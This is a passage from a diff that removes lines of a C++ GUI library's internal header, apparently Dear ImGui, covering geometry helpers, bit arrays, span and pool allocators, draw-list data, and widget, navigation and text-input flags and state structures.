segments -IMGUI_API ImVec2 ImBezierCubicClosestPointCasteljau(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, const ImVec2& p4, const ImVec2& p, float tess_tol);// For auto-tessellated curves you can use tess_tol = style.CurveTessellationTol -IMGUI_API ImVec2 ImBezierQuadraticCalc(const ImVec2& p1, const ImVec2& p2, const ImVec2& p3, float t); -IMGUI_API ImVec2 ImLineClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& p); -IMGUI_API bool ImTriangleContainsPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p); -IMGUI_API ImVec2 ImTriangleClosestPoint(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p); -IMGUI_API void ImTriangleBarycentricCoords(const ImVec2& a, const ImVec2& b, const ImVec2& c, const ImVec2& p, float& out_u, float& out_v, float& out_w); -inline float ImTriangleArea(const ImVec2& a, const ImVec2& b, const ImVec2& c) { return ImFabs((a.x * (b.y - c.y)) + (b.x * (c.y - a.y)) + (c.x * (a.y - b.y))) * 0.5f; } -IMGUI_API ImGuiDir ImGetDirQuadrantFromDelta(float dx, float dy); - -// Helper: ImVec1 (1D vector) -// (this odd construct is used to facilitate the transition between 1D and 2D, and the maintenance of some branches/patches) -struct ImVec1 -{ - float x; - ImVec1() { x = 0.0f; } - ImVec1(float _x) { x = _x; } -}; - -// Helper: ImVec2ih (2D vector, half-size integer, for long-term packed storage) -struct ImVec2ih -{ - short x, y; - ImVec2ih() { x = y = 0; } - ImVec2ih(short _x, short _y) { x = _x; y = _y; } - explicit ImVec2ih(const ImVec2& rhs) { x = (short)rhs.x; y = (short)rhs.y; } -}; - -// Helper: ImRect (2D axis aligned bounding-box) -// NB: we can't rely on ImVec2 math operators being available here! -struct IMGUI_API ImRect -{ - ImVec2 Min; // Upper-left - ImVec2 Max; // Lower-right - - ImRect() : Min(0.0f, 0.0f), Max(0.0f, 0.0f) {} - ImRect(const ImVec2& min, const ImVec2& max) : Min(min), Max(max) {} - ImRect(const ImVec4& v) : Min(v.x, v.y), Max(v.z, v.w) {} - ImRect(float x1, float y1, float x2, float y2) : Min(x1, y1), Max(x2, y2) {} - - ImVec2 GetCenter() const { return ImVec2((Min.x + Max.x) * 0.5f, (Min.y + Max.y) * 0.5f); } - ImVec2 GetSize() const { return ImVec2(Max.x - Min.x, Max.y - Min.y); } - float GetWidth() const { return Max.x - Min.x; } - float GetHeight() const { return Max.y - Min.y; } - float GetArea() const { return (Max.x - Min.x) * (Max.y - Min.y); } - ImVec2 GetTL() const { return Min; } // Top-left - ImVec2 GetTR() const { return ImVec2(Max.x, Min.y); } // Top-right - ImVec2 GetBL() const { return ImVec2(Min.x, Max.y); } // Bottom-left - ImVec2 GetBR() const { return Max; } // Bottom-right - bool Contains(const ImVec2& p) const { return p.x >= Min.x && p.y >= Min.y && p.x < Max.x && p.y < Max.y; } - bool Contains(const ImRect& r) const { return r.Min.x >= Min.x && r.Min.y >= Min.y && r.Max.x <= Max.x && r.Max.y <= Max.y; } - bool Overlaps(const ImRect& r) const { return r.Min.y < Max.y && r.Max.y > Min.y && r.Min.x < Max.x && r.Max.x > Min.x; } - void Add(const ImVec2& p) { if (Min.x > p.x) Min.x = p.x; if (Min.y > p.y) Min.y = p.y; if (Max.x < p.x) Max.x = p.x; if (Max.y < p.y) Max.y = p.y; } - void Add(const ImRect& r) { if (Min.x > r.Min.x) Min.x = r.Min.x; if (Min.y > r.Min.y) Min.y = r.Min.y; if (Max.x < r.Max.x) Max.x = r.Max.x; if (Max.y < r.Max.y) Max.y = r.Max.y; } - void Expand(const float amount) { Min.x -= amount; Min.y -= amount; Max.x += amount; Max.y += amount; } - void Expand(const ImVec2& amount) { Min.x -= amount.x; Min.y -= amount.y; Max.x += amount.x; Max.y += amount.y; } - void Translate(const ImVec2& d) { Min.x += d.x; Min.y += d.y; Max.x += d.x; Max.y += d.y; } - void TranslateX(float dx) { Min.x += dx; Max.x += dx; } - void TranslateY(float dy) { Min.y += dy; Max.y += dy; } - void ClipWith(const ImRect& r) { Min = ImMax(Min, r.Min); Max = ImMin(Max, r.Max); } // Simple version, may lead to an inverted rectangle, which is fine for Contains/Overlaps test but not for display. - void ClipWithFull(const ImRect& r) { Min = ImClamp(Min, r.Min, r.Max); Max = ImClamp(Max, r.Min, r.Max); } // Full version, ensure both points are fully clipped. - void Floor() { Min.x = IM_FLOOR(Min.x); Min.y = IM_FLOOR(Min.y); Max.x = IM_FLOOR(Max.x); Max.y = IM_FLOOR(Max.y); } - bool IsInverted() const { return Min.x > Max.x || Min.y > Max.y; } - ImVec4 ToVec4() const { return ImVec4(Min.x, Min.y, Max.x, Max.y); } -}; - -// Helper: ImBitArray -inline bool ImBitArrayTestBit(const ImU32* arr, int n) { ImU32 mask = (ImU32)1 << (n & 31); return (arr[n >> 5] & mask) != 0; } -inline void ImBitArrayClearBit(ImU32* arr, int n) { ImU32 mask = (ImU32)1 << (n & 31); arr[n >> 5] &= ~mask; } -inline void ImBitArraySetBit(ImU32* arr, int n) { ImU32 mask = (ImU32)1 << (n & 31); arr[n >> 5] |= mask; } -inline void ImBitArraySetBitRange(ImU32* arr, int n, int n2) // Works on range [n..n2) -{ - n2--; - while (n <= n2) - { - int a_mod = (n & 31); - int b_mod = (n2 > (n | 31) ? 31 : (n2 & 31)) + 1; - ImU32 mask = (ImU32)(((ImU64)1 << b_mod) - 1) & ~(ImU32)(((ImU64)1 << a_mod) - 1); - arr[n >> 5] |= mask; - n = (n + 32) & ~31; - } -} - -// Helper: ImBitArray class (wrapper over ImBitArray functions) -// Store 1-bit per value. NOT CLEARED by constructor. -template -struct IMGUI_API ImBitArray -{ - ImU32 Storage[(BITCOUNT + 31) >> 5]; - ImBitArray() { } - void ClearAllBits() { memset(Storage, 0, sizeof(Storage)); } - void SetAllBits() { memset(Storage, 255, sizeof(Storage)); } - bool TestBit(int n) const { IM_ASSERT(n < BITCOUNT); return ImBitArrayTestBit(Storage, n); } - void SetBit(int n) { IM_ASSERT(n < BITCOUNT); ImBitArraySetBit(Storage, n); } - void ClearBit(int n) { IM_ASSERT(n < BITCOUNT); ImBitArrayClearBit(Storage, n); } - void SetBitRange(int n, int n2) { ImBitArraySetBitRange(Storage, n, n2); } // Works on range [n..n2) -}; - -// Helper: ImBitVector -// Store 1-bit per value. -struct IMGUI_API ImBitVector -{ - ImVector Storage; - void Create(int sz) { Storage.resize((sz + 31) >> 5); memset(Storage.Data, 0, (size_t)Storage.Size * sizeof(Storage.Data[0])); } - void Clear() { Storage.clear(); } - bool TestBit(int n) const { IM_ASSERT(n < (Storage.Size << 5)); return ImBitArrayTestBit(Storage.Data, n); } - void SetBit(int n) { IM_ASSERT(n < (Storage.Size << 5)); ImBitArraySetBit(Storage.Data, n); } - void ClearBit(int n) { IM_ASSERT(n < (Storage.Size << 5)); ImBitArrayClearBit(Storage.Data, n); } -}; - -// Helper: ImSpan<> -// Pointing to a span of data we don't own. -template -struct ImSpan -{ - T* Data; - T* DataEnd; - - // Constructors, destructor - inline ImSpan() { Data = DataEnd = NULL; } - inline ImSpan(T* data, int size) { Data = data; DataEnd = data + size; } - inline ImSpan(T* data, T* data_end) { Data = data; DataEnd = data_end; } - - inline void set(T* data, int size) { Data = data; DataEnd = data + size; } - inline void set(T* data, T* data_end) { Data = data; DataEnd = data_end; } - inline int size() const { return (int)(ptrdiff_t)(DataEnd - Data); } - inline int size_in_bytes() const { return (int)(ptrdiff_t)(DataEnd - Data) * (int)sizeof(T); } - inline T& operator[](int i) { T* p = Data + i; IM_ASSERT(p >= Data && p < DataEnd); return *p; } - inline const T& operator[](int i) const { const T* p = Data + i; IM_ASSERT(p >= Data && p < DataEnd); return *p; } - - inline T* begin() { return Data; } - inline const T* begin() const { return Data; } - inline T* end() { return DataEnd; } - inline const T* end() const { return DataEnd; } - - // Utilities - inline int index_from_ptr(const T* it) const { IM_ASSERT(it >= Data && it < DataEnd); const ptrdiff_t off = it - Data; return (int)off; } -}; - -// Helper: ImSpanAllocator<> -// Facilitate storing multiple chunks into a single large block (the "arena") -// - Usage: call Reserve() N times, allocate GetArenaSizeInBytes() worth, pass it to SetArenaBasePtr(), call GetSpan() N times to retrieve the aligned ranges. -template -struct ImSpanAllocator -{ - char* BasePtr; - int CurrOff; - int CurrIdx; - int Offsets[CHUNKS]; - int Sizes[CHUNKS]; - - ImSpanAllocator() { memset(this, 0, sizeof(*this)); } - inline void Reserve(int n, size_t sz, int a=4) { IM_ASSERT(n == CurrIdx && n < CHUNKS); CurrOff = IM_MEMALIGN(CurrOff, a); Offsets[n] = CurrOff; Sizes[n] = (int)sz; CurrIdx++; CurrOff += (int)sz; } - inline int GetArenaSizeInBytes() { return CurrOff; } - inline void SetArenaBasePtr(void* base_ptr) { BasePtr = (char*)base_ptr; } - inline void* GetSpanPtrBegin(int n) { IM_ASSERT(n >= 0 && n < CHUNKS && CurrIdx == CHUNKS); return (void*)(BasePtr + Offsets[n]); } - inline void* GetSpanPtrEnd(int n) { IM_ASSERT(n >= 0 && n < CHUNKS && CurrIdx == CHUNKS); return (void*)(BasePtr + Offsets[n] + Sizes[n]); } - template - inline void GetSpan(int n, ImSpan* span) { span->set((T*)GetSpanPtrBegin(n), (T*)GetSpanPtrEnd(n)); } -}; - -// Helper: ImPool<> -// Basic keyed storage for contiguous instances, slow/amortized insertion, O(1) indexable, O(Log N) queries by ID over a dense/hot buffer, -// Honor constructor/destructor. Add/remove invalidate all pointers. Indexes have the same lifetime as the associated object. -typedef int ImPoolIdx; -template -struct IMGUI_API ImPool -{ - ImVector Buf; // Contiguous data - ImGuiStorage Map; // ID->Index - ImPoolIdx FreeIdx; // Next free idx to use - - ImPool() { FreeIdx = 0; } - ~ImPool() { Clear(); } - T* GetByKey(ImGuiID key) { int idx = Map.GetInt(key, -1); return (idx != -1) ? &Buf[idx] : NULL; } - T* GetByIndex(ImPoolIdx n) { return &Buf[n]; } - ImPoolIdx GetIndex(const T* p) const { IM_ASSERT(p >= Buf.Data && p < Buf.Data + Buf.Size); return (ImPoolIdx)(p - Buf.Data); } - T* GetOrAddByKey(ImGuiID key) { int* p_idx = Map.GetIntRef(key, -1); if (*p_idx != -1) return &Buf[*p_idx]; *p_idx = FreeIdx; return Add(); } - bool Contains(const T* p) const { return (p >= Buf.Data && p < Buf.Data + Buf.Size); } - void Clear() { for (int n = 0; n < Map.Data.Size; n++) { int idx = Map.Data[n].val_i; if (idx != -1) Buf[idx].~T(); } Map.Clear(); Buf.clear(); FreeIdx = 0; } - T* Add() { int idx = FreeIdx; if (idx == Buf.Size) { Buf.resize(Buf.Size + 1); FreeIdx++; } else { FreeIdx = *(int*)&Buf[idx]; } IM_PLACEMENT_NEW(&Buf[idx]) T(); return &Buf[idx]; } - void Remove(ImGuiID key, const T* p) { Remove(key, GetIndex(p)); } - void Remove(ImGuiID key, ImPoolIdx idx) { Buf[idx].~T(); *(int*)&Buf[idx] = FreeIdx; FreeIdx = idx; Map.SetInt(key, -1); } - void Reserve(int capacity) { Buf.reserve(capacity); Map.Data.reserve(capacity); } - int GetSize() const { return Buf.Size; } -}; - -// Helper: ImChunkStream<> -// Build and iterate a contiguous stream of variable-sized structures. -// This is used by Settings to store persistent data while reducing allocation count. -// We store the chunk size first, and align the final size on 4 bytes boundaries. -// The tedious/zealous amount of casting is to avoid -Wcast-align warnings. -template -struct IMGUI_API ImChunkStream -{ - ImVector Buf; - - void clear() { Buf.clear(); } - bool empty() const { return Buf.Size == 0; } - int size() const { return Buf.Size; } - T* alloc_chunk(size_t sz) { size_t HDR_SZ = 4; sz = IM_MEMALIGN(HDR_SZ + sz, 4u); int off = Buf.Size; Buf.resize(off + (int)sz); ((int*)(void*)(Buf.Data + off))[0] = (int)sz; return (T*)(void*)(Buf.Data + off + (int)HDR_SZ); } - T* begin() { size_t HDR_SZ = 4; if (!Buf.Data) return NULL; return (T*)(void*)(Buf.Data + HDR_SZ); } - T* next_chunk(T* p) { size_t HDR_SZ = 4; IM_ASSERT(p >= begin() && p < end()); p = (T*)(void*)((char*)(void*)p + chunk_size(p)); if (p == (T*)(void*)((char*)end() + HDR_SZ)) return (T*)0; IM_ASSERT(p < end()); return p; } - int chunk_size(const T* p) { return ((const int*)p)[-1]; } - T* end() { return (T*)(void*)(Buf.Data + Buf.Size); } - int offset_from_ptr(const T* p) { IM_ASSERT(p >= begin() && p < end()); const ptrdiff_t off = (const char*)p - Buf.Data; return (int)off; } - T* ptr_from_offset(int off) { IM_ASSERT(off >= 4 && off < Buf.Size); return (T*)(void*)(Buf.Data + off); } - void swap(ImChunkStream& rhs) { rhs.Buf.swap(Buf); } - -}; - -//----------------------------------------------------------------------------- -// [SECTION] ImDrawList support -//----------------------------------------------------------------------------- - -// ImDrawList: Helper function to calculate a circle's segment count given its radius and a "maximum error" value. -// Estimation of number of circle segment based on error is derived using method described in https://stackoverflow.com/a/2244088/15194693 -// Number of segments (N) is calculated using equation: -// N = ceil ( pi / acos(1 - error / r) ) where r > 0, error <= r -// Our equation is significantly simpler that one in the post thanks for choosing segment that is -// perpendicular to X axis. Follow steps in the article from this starting condition and you will -// will get this result. -// -// Rendering circles with an odd number of segments, while mathematically correct will produce -// asymmetrical results on the raster grid. Therefore we're rounding N to next even number (7->8, 8->8, 9->10 etc.) -// -#define IM_ROUNDUP_TO_EVEN(_V) ((((_V) + 1) / 2) * 2) -#define IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MIN 4 -#define IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX 512 -#define IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_CALC(_RAD,_MAXERROR) ImClamp(IM_ROUNDUP_TO_EVEN((int)ImCeil(IM_PI / ImAcos(1 - ImMin((_MAXERROR), (_RAD)) / (_RAD)))), IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MIN, IM_DRAWLIST_CIRCLE_AUTO_SEGMENT_MAX) - -// ImDrawList: You may set this to higher values (e.g. 2 or 3) to increase tessellation of fast rounded corners path. -#ifndef IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER -#define IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER 1 -#endif - -// Data shared between all ImDrawList instances -// You may want to create your own instance of this if you want to use ImDrawList completely without ImGui. In that case, watch out for future changes to this structure. -struct IMGUI_API ImDrawListSharedData -{ - ImVec2 TexUvWhitePixel; // UV of white pixel in the atlas - ImFont* Font; // Current/default font (optional, for simplified AddText overload) - float FontSize; // Current/default font size (optional, for simplified AddText overload) - float CurveTessellationTol; // Tessellation tolerance when using PathBezierCurveTo() - float CircleSegmentMaxError; // Number of circle segments to use per pixel of radius for AddCircle() etc - ImVec4 ClipRectFullscreen; // Value for PushClipRectFullscreen() - ImDrawListFlags InitialFlags; // Initial flags at the beginning of the frame (it is possible to alter flags on a per-drawlist basis afterwards) - - // [Internal] Lookup tables - ImVec2 ArcFastVtx[12 * IM_DRAWLIST_ARCFAST_TESSELLATION_MULTIPLIER]; // FIXME: Bake rounded corners fill/borders in atlas - ImU8 CircleSegmentCounts[64]; // Precomputed segment count for given radius before we calculate it dynamically (to avoid calculation overhead) - const ImVec4* TexUvLines; // UV of anti-aliased lines in the atlas - - ImDrawListSharedData(); - void SetCircleTessellationMaxError(float max_error); -}; - -struct ImDrawDataBuilder -{ - ImVector Layers[2]; // Global layers for: regular, tooltip - - void Clear() { for (int n = 0; n < IM_ARRAYSIZE(Layers); n++) Layers[n].resize(0); } - void ClearFreeMemory() { for (int n = 0; n < IM_ARRAYSIZE(Layers); n++) Layers[n].clear(); } - int GetDrawListCount() const { int count = 0; for (int n = 0; n < IM_ARRAYSIZE(Layers); n++) count += Layers[n].Size; return count; } - IMGUI_API void FlattenIntoSingleLayer(); -}; - -//----------------------------------------------------------------------------- -// [SECTION] Widgets support: flags, enums, data structures -//----------------------------------------------------------------------------- - -// Transient per-window flags, reset at the beginning of the frame. For child window, inherited from parent on first Begin(). -// This is going to be exposed in imgui.h when stabilized enough. -enum ImGuiItemFlags_ -{ - ImGuiItemFlags_None = 0, - ImGuiItemFlags_NoTabStop = 1 << 0, // false - ImGuiItemFlags_ButtonRepeat = 1 << 1, // false // Button() will return true multiple times based on io.KeyRepeatDelay and io.KeyRepeatRate settings. - ImGuiItemFlags_Disabled = 1 << 2, // false // [BETA] Disable interactions but doesn't affect visuals yet. See github.com/ocornut/imgui/issues/211 - ImGuiItemFlags_NoNav = 1 << 3, // false - ImGuiItemFlags_NoNavDefaultFocus = 1 << 4, // false - ImGuiItemFlags_SelectableDontClosePopup = 1 << 5, // false // MenuItem/Selectable() automatically closes current Popup window - ImGuiItemFlags_MixedValue = 1 << 6, // false // [BETA] Represent a mixed/indeterminate value, generally multi-selection where values differ. Currently only supported by Checkbox() (later should support all sorts of widgets) - ImGuiItemFlags_ReadOnly = 1 << 7, // false // [ALPHA] Allow hovering interactions but underlying value is not changed. - ImGuiItemFlags_Default_ = 0 -}; - -// Storage for LastItem data -enum ImGuiItemStatusFlags_ -{ - ImGuiItemStatusFlags_None = 0, - ImGuiItemStatusFlags_HoveredRect = 1 << 0, - ImGuiItemStatusFlags_HasDisplayRect = 1 << 1, // LastItemDisplayRect is valid - ImGuiItemStatusFlags_Edited = 1 << 2, // Value exposed by item was edited in the current frame (should match the bool return value of most widgets) - ImGuiItemStatusFlags_ToggledSelection = 1 << 3, // Set when Selectable(), TreeNode() reports toggling a selection. We can't report "Selected" because reporting the change allows us to handle clipping with less issues. - ImGuiItemStatusFlags_ToggledOpen = 1 << 4, // Set when TreeNode() reports toggling their open state. - ImGuiItemStatusFlags_HasDeactivated = 1 << 5, // Set if the widget/group is able to provide data for the ImGuiItemStatusFlags_Deactivated flag. - ImGuiItemStatusFlags_Deactivated = 1 << 6, // Only valid if ImGuiItemStatusFlags_HasDeactivated is set. - ImGuiItemStatusFlags_HoveredWindow = 1 << 7 // Override the HoveredWindow test to allow cross-window hover testing. - -#ifdef IMGUI_ENABLE_TEST_ENGINE - , // [imgui_tests only] - ImGuiItemStatusFlags_Openable = 1 << 10, // - ImGuiItemStatusFlags_Opened = 1 << 11, // - ImGuiItemStatusFlags_Checkable = 1 << 12, // - ImGuiItemStatusFlags_Checked = 1 << 13 // -#endif -}; - -// Extend ImGuiButtonFlags_ -enum ImGuiButtonFlagsPrivate_ -{ - ImGuiButtonFlags_PressedOnClick = 1 << 4, // return true on click (mouse down event) - ImGuiButtonFlags_PressedOnClickRelease = 1 << 5, // [Default] return true on click + release on same item <-- this is what the majority of Button are using - ImGuiButtonFlags_PressedOnClickReleaseAnywhere = 1 << 6, // return true on click + release even if the release event is not done while hovering the item - ImGuiButtonFlags_PressedOnRelease = 1 << 7, // return true on release (default requires click+release) - ImGuiButtonFlags_PressedOnDoubleClick = 1 << 8, // return true on double-click (default requires click+release) - ImGuiButtonFlags_PressedOnDragDropHold = 1 << 9, // return true when held into while we are drag and dropping another item (used by e.g. tree nodes, collapsing headers) - ImGuiButtonFlags_Repeat = 1 << 10, // hold to repeat - ImGuiButtonFlags_FlattenChildren = 1 << 11, // allow interactions even if a child window is overlapping - ImGuiButtonFlags_AllowItemOverlap = 1 << 12, // require previous frame HoveredId to either match id or be null before being usable, use along with SetItemAllowOverlap() - ImGuiButtonFlags_DontClosePopups = 1 << 13, // disable automatically closing parent popup on press // [UNUSED] - ImGuiButtonFlags_Disabled = 1 << 14, // disable interactions - ImGuiButtonFlags_AlignTextBaseLine = 1 << 15, // vertically align button to match text baseline - ButtonEx() only // FIXME: Should be removed and handled by SmallButton(), not possible currently because of DC.CursorPosPrevLine - ImGuiButtonFlags_NoKeyModifiers = 1 << 16, // disable mouse interaction if a key modifier is held - ImGuiButtonFlags_NoHoldingActiveId = 1 << 17, // don't set ActiveId while holding the mouse (ImGuiButtonFlags_PressedOnClick only) - ImGuiButtonFlags_NoNavFocus = 1 << 18, // don't override navigation focus when activated - ImGuiButtonFlags_NoHoveredOnFocus = 1 << 19, // don't report as hovered when nav focus is on this item - ImGuiButtonFlags_PressedOnMask_ = ImGuiButtonFlags_PressedOnClick | ImGuiButtonFlags_PressedOnClickRelease | ImGuiButtonFlags_PressedOnClickReleaseAnywhere | ImGuiButtonFlags_PressedOnRelease | ImGuiButtonFlags_PressedOnDoubleClick | ImGuiButtonFlags_PressedOnDragDropHold, - ImGuiButtonFlags_PressedOnDefault_ = ImGuiButtonFlags_PressedOnClickRelease -}; - -// Extend ImGuiSliderFlags_ -enum ImGuiSliderFlagsPrivate_ -{ - ImGuiSliderFlags_Vertical = 1 << 20, // Should this slider be orientated vertically? - ImGuiSliderFlags_ReadOnly = 1 << 21 -}; - -// Extend ImGuiSelectableFlags_ -enum ImGuiSelectableFlagsPrivate_ -{ - // NB: need to be in sync with last value of ImGuiSelectableFlags_ - ImGuiSelectableFlags_NoHoldingActiveID = 1 << 20, - ImGuiSelectableFlags_SelectOnClick = 1 << 21, // Override button behavior to react on Click (default is Click+Release) - ImGuiSelectableFlags_SelectOnRelease = 1 << 22, // Override button behavior to react on Release (default is Click+Release) - ImGuiSelectableFlags_SpanAvailWidth = 1 << 23, // Span all avail width even if we declared less for layout purpose. FIXME: We may be able to remove this (added in 6251d379, 2bcafc86 for menus) - ImGuiSelectableFlags_DrawHoveredWhenHeld = 1 << 24, // Always show active when held, even is not hovered. This concept could probably be renamed/formalized somehow. - ImGuiSelectableFlags_SetNavIdOnHover = 1 << 25, // Set Nav/Focus ID on mouse hover (used by MenuItem) - ImGuiSelectableFlags_NoPadWithHalfSpacing = 1 << 26 // Disable padding each side with ItemSpacing * 0.5f -}; - -// Extend ImGuiTreeNodeFlags_ -enum ImGuiTreeNodeFlagsPrivate_ -{ - ImGuiTreeNodeFlags_ClipLabelForTrailingButton = 1 << 20 -}; - -enum ImGuiSeparatorFlags_ -{ - ImGuiSeparatorFlags_None = 0, - ImGuiSeparatorFlags_Horizontal = 1 << 0, // Axis default to current layout type, so generally Horizontal unless e.g. in a menu bar - ImGuiSeparatorFlags_Vertical = 1 << 1, - ImGuiSeparatorFlags_SpanAllColumns = 1 << 2 -}; - -enum ImGuiTextFlags_ -{ - ImGuiTextFlags_None = 0, - ImGuiTextFlags_NoWidthForLargeClippedText = 1 << 0 -}; - -enum ImGuiTooltipFlags_ -{ - ImGuiTooltipFlags_None = 0, - ImGuiTooltipFlags_OverridePreviousTooltip = 1 << 0 // Override will clear/ignore previously submitted tooltip (defaults to append) -}; - -// FIXME: this is in development, not exposed/functional as a generic feature yet. -// Horizontal/Vertical enums are fixed to 0/1 so they may be used to index ImVec2 -enum ImGuiLayoutType_ -{ - ImGuiLayoutType_Horizontal = 0, - ImGuiLayoutType_Vertical = 1 -}; - -enum ImGuiLogType -{ - ImGuiLogType_None = 0, - ImGuiLogType_TTY, - ImGuiLogType_File, - ImGuiLogType_Buffer, - ImGuiLogType_Clipboard -}; - -// X/Y enums are fixed to 0/1 so they may be used to index ImVec2 -enum ImGuiAxis -{ - ImGuiAxis_None = -1, - ImGuiAxis_X = 0, - ImGuiAxis_Y = 1 -}; - -enum ImGuiPlotType -{ - ImGuiPlotType_Lines, - ImGuiPlotType_Histogram -}; - -enum ImGuiInputSource -{ - ImGuiInputSource_None = 0, - ImGuiInputSource_Mouse, - ImGuiInputSource_Keyboard, - ImGuiInputSource_Gamepad, - ImGuiInputSource_Nav, // Stored in g.ActiveIdSource only - ImGuiInputSource_COUNT -}; - -// FIXME-NAV: Clarify/expose various repeat delay/rate -enum ImGuiInputReadMode -{ - ImGuiInputReadMode_Down, - ImGuiInputReadMode_Pressed, - ImGuiInputReadMode_Released, - ImGuiInputReadMode_Repeat, - ImGuiInputReadMode_RepeatSlow, - ImGuiInputReadMode_RepeatFast -}; - -enum ImGuiNavHighlightFlags_ -{ - ImGuiNavHighlightFlags_None = 0, - ImGuiNavHighlightFlags_TypeDefault = 1 << 0, - ImGuiNavHighlightFlags_TypeThin = 1 << 1, - ImGuiNavHighlightFlags_AlwaysDraw = 1 << 2, // Draw rectangular highlight if (g.NavId == id) _even_ when using the mouse. - ImGuiNavHighlightFlags_NoRounding = 1 << 3 -}; - -enum ImGuiNavDirSourceFlags_ -{ - ImGuiNavDirSourceFlags_None = 0, - ImGuiNavDirSourceFlags_Keyboard = 1 << 0, - ImGuiNavDirSourceFlags_PadDPad = 1 << 1, - ImGuiNavDirSourceFlags_PadLStick = 1 << 2 -}; - -enum ImGuiNavMoveFlags_ -{ - ImGuiNavMoveFlags_None = 0, - ImGuiNavMoveFlags_LoopX = 1 << 0, // On failed request, restart from opposite side - ImGuiNavMoveFlags_LoopY = 1 << 1, - ImGuiNavMoveFlags_WrapX = 1 << 2, // On failed request, request from opposite side one line down (when NavDir==right) or one line up (when NavDir==left) - ImGuiNavMoveFlags_WrapY = 1 << 3, // This is not super useful for provided for completeness - ImGuiNavMoveFlags_AllowCurrentNavId = 1 << 4, // Allow scoring and considering the current NavId as a move target candidate. This is used when the move source is offset (e.g. pressing PageDown actually needs to send a Up move request, if we are pressing PageDown from the bottom-most item we need to stay in place) - ImGuiNavMoveFlags_AlsoScoreVisibleSet = 1 << 5, // Store alternate result in NavMoveResultLocalVisibleSet that only comprise elements that are already fully visible. - ImGuiNavMoveFlags_ScrollToEdge = 1 << 6 -}; - -enum ImGuiNavForward -{ - ImGuiNavForward_None, - ImGuiNavForward_ForwardQueued, - ImGuiNavForward_ForwardActive -}; - -enum ImGuiNavLayer -{ - ImGuiNavLayer_Main = 0, // Main scrolling layer - ImGuiNavLayer_Menu = 1, // Menu layer (access with Alt/ImGuiNavInput_Menu) - ImGuiNavLayer_COUNT -}; - -enum ImGuiPopupPositionPolicy -{ - ImGuiPopupPositionPolicy_Default, - ImGuiPopupPositionPolicy_ComboBox, - ImGuiPopupPositionPolicy_Tooltip -}; - -struct ImGuiDataTypeTempStorage -{ - ImU8 Data[8]; // Can fit any data up to ImGuiDataType_COUNT -}; - -// Type information associated to one ImGuiDataType. Retrieve with DataTypeGetInfo(). -struct ImGuiDataTypeInfo -{ - size_t Size; // Size in bytes - const char* Name; // Short descriptive name for the type, for debugging - const char* PrintFmt; // Default printf format for the type - const char* ScanFmt; // Default scanf format for the type -}; - -// Extend ImGuiDataType_ -enum ImGuiDataTypePrivate_ -{ - ImGuiDataType_String = ImGuiDataType_COUNT + 1, - ImGuiDataType_Pointer, - ImGuiDataType_ID -}; - -// Stacked color modifier, backup of modified data so we can restore it -struct ImGuiColorMod -{ - ImGuiCol Col; - ImVec4 BackupValue; -}; - -// Stacked style modifier, backup of modified data so we can restore it. Data type inferred from the variable. -struct ImGuiStyleMod -{ - ImGuiStyleVar VarIdx; - union { int BackupInt[2]; float BackupFloat[2]; }; - ImGuiStyleMod(ImGuiStyleVar idx, int v) { VarIdx = idx; BackupInt[0] = v; } - ImGuiStyleMod(ImGuiStyleVar idx, float v) { VarIdx = idx; BackupFloat[0] = v; } - ImGuiStyleMod(ImGuiStyleVar idx, ImVec2 v) { VarIdx = idx; BackupFloat[0] = v.x; BackupFloat[1] = v.y; } -}; - -// Stacked storage data for BeginGroup()/EndGroup() -struct IMGUI_API ImGuiGroupData -{ - ImGuiID WindowID; - ImVec2 BackupCursorPos; - ImVec2 BackupCursorMaxPos; - ImVec1 BackupIndent; - ImVec1 BackupGroupOffset; - ImVec2 BackupCurrLineSize; - float BackupCurrLineTextBaseOffset; - ImGuiID BackupActiveIdIsAlive; - bool BackupActiveIdPreviousFrameIsAlive; - bool BackupHoveredIdIsAlive; - bool EmitItem; -}; - -// Simple column measurement, currently used for MenuItem() only.. This is very short-sighted/throw-away code and NOT a generic helper. -struct IMGUI_API ImGuiMenuColumns -{ - float Spacing; - float Width, NextWidth; - float Pos[3], NextWidths[3]; - - ImGuiMenuColumns() { memset(this, 0, sizeof(*this)); } - void Update(int count, float spacing, bool clear); - float DeclColumns(float w0, float w1, float w2); - float CalcExtraSpace(float avail_w) const; -}; - -// Internal state of the currently focused/edited text input box -// For a given item ID, access with ImGui::GetInputTextState() -struct IMGUI_API ImGuiInputTextState -{ - ImGuiID ID; // widget id owning the text state - int CurLenW, CurLenA; // we need to maintain our buffer length in both UTF-8 and wchar format. UTF-8 length is valid even if TextA is not. - ImVector TextW; // edit buffer, we need to persist but can't guarantee the persistence of the user-provided buffer. so we copy into own buffer. - ImVector TextA; // temporary UTF8 buffer for callbacks and other operations. this is not updated in every code-path! size=capacity. - ImVector InitialTextA; // backup of end-user buffer at the time of focus (in UTF-8, unaltered) - bool TextAIsValid; // temporary UTF8 buffer is not initially valid before we make the widget active (until then we pull the data from user argument) - int BufCapacityA; // end-user buffer capacity - float ScrollX; // horizontal scrolling/offset - ImStb::STB_TexteditState Stb; // state for stb_textedit.h - float CursorAnim; // timer for cursor blink, reset on every user action so the cursor reappears immediately - bool CursorFollow; // set when we want scrolling to follow the current cursor position (not always!) - bool SelectedAllMouseLock; // after a double-click to select all, we ignore further mouse drags to update selection - bool Edited; // edited this frame - ImGuiInputTextFlags UserFlags; // Temporarily set while we call user's callback - ImGuiInputTextCallback UserCallback; // " - void* UserCallbackData; // " - - ImGuiInputTextState() { memset(this, 0, sizeof(*this)); } - void ClearText() { CurLenW = CurLenA = 0; TextW[0] = 0; TextA[0] = 0; CursorClamp(); } - void ClearFreeMemory() { TextW.clear(); TextA.clear(); InitialTextA.clear(); } - int GetUndoAvailCount() const { return Stb.undostate.undo_point; } - int GetRedoAvailCount() const { return STB_TEXTEDIT_UNDOSTATECOUNT - Stb.undostate.redo_point; } - void OnKeyPressed(int key); // Cannot be inline because we call in code in stb_textedit.h implementation - - // Cursor & Selection - void CursorAnimReset() { CursorAnim = -0.30f; } // After a user-input the cursor stays on for a while without blinking - void CursorClamp() { 